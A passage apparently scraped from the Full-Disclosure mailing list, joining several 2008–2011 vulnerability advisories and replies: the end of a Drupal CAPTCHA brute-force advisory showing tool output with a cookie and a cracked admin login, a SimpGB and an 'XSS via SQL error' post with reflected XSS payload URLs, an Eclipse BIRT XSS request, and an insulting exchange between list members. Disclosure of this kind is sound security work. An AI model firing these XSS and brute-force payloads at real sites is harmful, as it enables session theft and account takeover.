+New captcha token [c9a90bbd487de5733b7231ff832c5dd6]
+Testing password [antisnatchor666!]
+Request headers =
{Cookie=SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0;
has_js=1;, Referer=http://antisnatchor.com/user;,
Content-Type=application/x-www-form-urlencoded,
User-Agent=Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13}
+Code = 302
+Message = Moved Temporarily
+Succesfully authenticated user[admin] with password [guessme]
A little note: to try it you need a few ruby gems like nokogiri you'll
probably
don't have normally.
IV. DETECTION
6.20 and earlier versions are vulnerable.
V. WORKAROUND
Proper configuration of Drupal flood protection module should mitigate
this issue.
Also changing the Captcha persistence options to Always add a
challenge will
mitigate attacks.
VI. VENDOR RESPONSE
No fix available.
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20110116 Initial vendor contact
20110118 Initial Drupal security team response
20110124 Mitigation discussion
20110210 Public Disclosure
IX. CREDIT
Michele antisnatchor Orru'
X. LEGAL NOTICES
Copyright (c) 2011 Michele antisnatchor Orru'
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
Re: [Full-disclosure] Multiple vulnerabilities in SimpGB
ahaah. Nice reply Sparky. MustLive, seems you've been defaced :-) antisnatchor laurent gaffie February 5, 2011 3:36 AM Hey Sparky, One of the many many thing you didn't understand during the past 5 years is that you should probably try to identify and fix your stuff on *your* website, before spamming this ML with your crap. cf: http://www.zone-h.org/mirror/id/11367858 e-tard. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ MustLive February 4, 2011 10:49 PM Hello Laurent! You are very "intelligent" man, as I see from this and previous your letter (in 2010). You need to take into account the next: 1. I know better where to send. 2. If you write shitty stuff, then it doesn't mean that other do the same. 3. No need to think and state instead of other people - if it's not interesting for you, then it can be interesting for others. 4. The main and obvious thing it's that I write all my advisories from 2006 for those people who are interested in them (and there are such people, as I know for sure). So if you or anybody else is not interested in them, just skip them (and don't need to write me nonsenses) - I'm writing my letters not for you, but for others who is interested in them and who thanks me for my work. It's strange that such "intelligent" man as you didn't understand it for last five years :-). 5. I don't need any not serious letters from you, so don't waste your time writing me anymore, because I've put your e-mail into blacklist. Spend your time for good things. Best wishes regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua - Original Message - From: laurent gaffie To: MustLive Cc: full-disclosure@lists.grok.org.uk ; bugt...@securityfocus.com Sent: Wednesday, January 26, 2011 5:09 PM Subject: Re: [Full-disclosure] Multiple vulnerabilities in SimpGB Send your shitty stuff to bugt...@securityfocus.com If it's not obvious, no one give a shit here, seriously. 2011/1/27 MustLive mustl...@websecurity.com.ua Hello list! I want to warn you about Cross-Site Scripting, Brute Force, Insufficient Anti-automation and Abuse of Functionality vulnerabilities in SimpGB. - Affected products: - Vulnerable are SimpGB v1.49.02 and previous versions. -- Details: -- XSS (WASC-08): POST request at page http://site/guestbook.php in parameters poster, postingid and location in Preview function. If captcha is using in guestbook, then working code of the captcha is required for the attack. Or via GET request: http://site/guestbook.php?layout=Tillang=enmode=addpostingid=1poster=%3Cscript%3Ealert(document.cookie)%3C/script%3Einput_text=11preview=preview http://site/guestbook.php?layout=Tillang=enmode=addpostingid=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eposter=1input_text=11preview=preview http://site/guestbook.php?layout=Tillang=enmode=addpostingid=1poster=1location=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Einput_text=11preview=preview Brute Force (WASC-11): http://site/admin/index.php Insufficient Anti-automation (WASC-21): http://site/admin/pwlost.php In this functionality there is no protection from automated requests (captcha). Abuse of Functionality (WASC-42): http://site/admin/pwlost.php
Re: [Full-disclosure] XSS vulnerabilities via errors at requests to DB
I agree with Mostafa. Leaving DB errors on a production web application is not a good thing: more than that, hundreds of articles have been written about Information Disclosure/Leakage (as you want to call it). Some months about I was blogging on reflected XSS in Java Exception stack trace: nice to find it (as Stefano did many years ago about SQL errors), really funny: More informations about some of my advisories on my blog: http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss/ http://antisnatchor.com/2009/03/10/riotfamily-release-80-xss/ Greetz Michele antisnatchor Orru' On Fri, Dec 18, 2009 at 3:58 PM, MustLive mustl...@websecurity.com.ua wrote: Hello participants of Full-Disclosure. Let's continue a series of my articles about the most common places of XSS. Earlier I wrote already about XSS vulnerabilities at 404 pages (http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071664.html). And already at 2008 I planned to tell about one interesting and widespread vector of XSS attacks - it's the attacks via errors at requests to DB. I had occasions to discover Cross-Site Scripting vulnerabilities in different web applications, and also in browsers and web servers. And besides XSS holes at Error 404 pages, I also often found XSS vulnerabilities in messages about errors at requests to databases (XSS via SQL Error). Standard vector of the attack in case of XSS via SQL Error - it's setting of XSS-code as value of parameter which is sending to DB (at this it's needed that this SQL query becomes incorrect). Which will lead to showing of web application's message about error at request to DB, with mentioning of the query's line where there is an error, and to executing of JavaScript code in browser of the user. XSS: http://site/script?param=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E Such vulnerabilities I found multiple times at different sites and in different web applications, particularly in WordPress (http://websecurity.com.ua/298/), Relay (http://websecurity.com.ua/2075/) and Hydra Engine (http://websecurity.com.ua/3453/). For example, in WordPress to execute JS-code in error message, it was needed to send special symbol (in this case %A0), which I wrote about already in detail (http://websecurity.com.ua/298/). XSS: http://site/?s=%A0%3Cscript%3Ealert(document.cookie)%3C/script%3E In some cases (particularly in PHP-applications which use MySQL), it's needed to use not script tag, but body tag to conduct XSS attack, so the code will be completely showed in message about error in SQL query. As, for example, in case of vulnerability at www.zemerl.com (http://websecurity.com.ua/3327/). XSS: http://site/script?param='%20and%20%3Cbody%20onload=alert(document.cookie)%3E Note, that already in 2006 there was found vulnerability in PHP (http://websecurity.com.ua/225/), which concerned with function mysql_error. Which returns value of error of last SQL-query to MySQL in unfiltered form, which can lead to XSS attack. This vulnerability was found in PHP 4.4.x and 5.1.x. So web applications, which use this function and show its results, can be vulnerable to XSS. So web developers always need to check their projects on presence of XSS vulnerabilities in messages about errors at requests to DB. To not allow such vulnerabilities. Best wishes regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [AntiSnatchOr] Eclipse BIRT = 2.2.1 Reflected XSS
Eclipse BIRT = 2.2.1 Reflected XSS Vendor: Eclipse Advisory: http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss/ Author: Michele euronymous Orrù (euronymous AT antisnatchor DOT com) Quite a common problem in a lot of Java based applications: reflected XSS in Java stack trace. A Reflected XSS is present in the _report parameter: here below the modified request (that is the BIRT 2.2.1 version included in Konakart 2.2.6) GET /birt-viewer/run?__report='iframe%20src=javascript:alert(666)r=-703171660 HTTP/1.1 Host: localhost:8780 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://localhost:8780/konakartadmin/ Konakart is actually using org.eclipse.birt.core_2.2.1.r22x_v20070924, that is actually old. - Disclosure timeline: 2008-12-17 11:04:15 EST : Vendor Contacted 2009-02-11 03:39:09 EST: Bug fix 2009-03-09 05:32:42 EDT: Patches verified on 2.5.0 - CREDITS Michele euronymous Orru' - LEGAL NOTICES Copyright (c) 2009 Michele euronymous Orru' Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
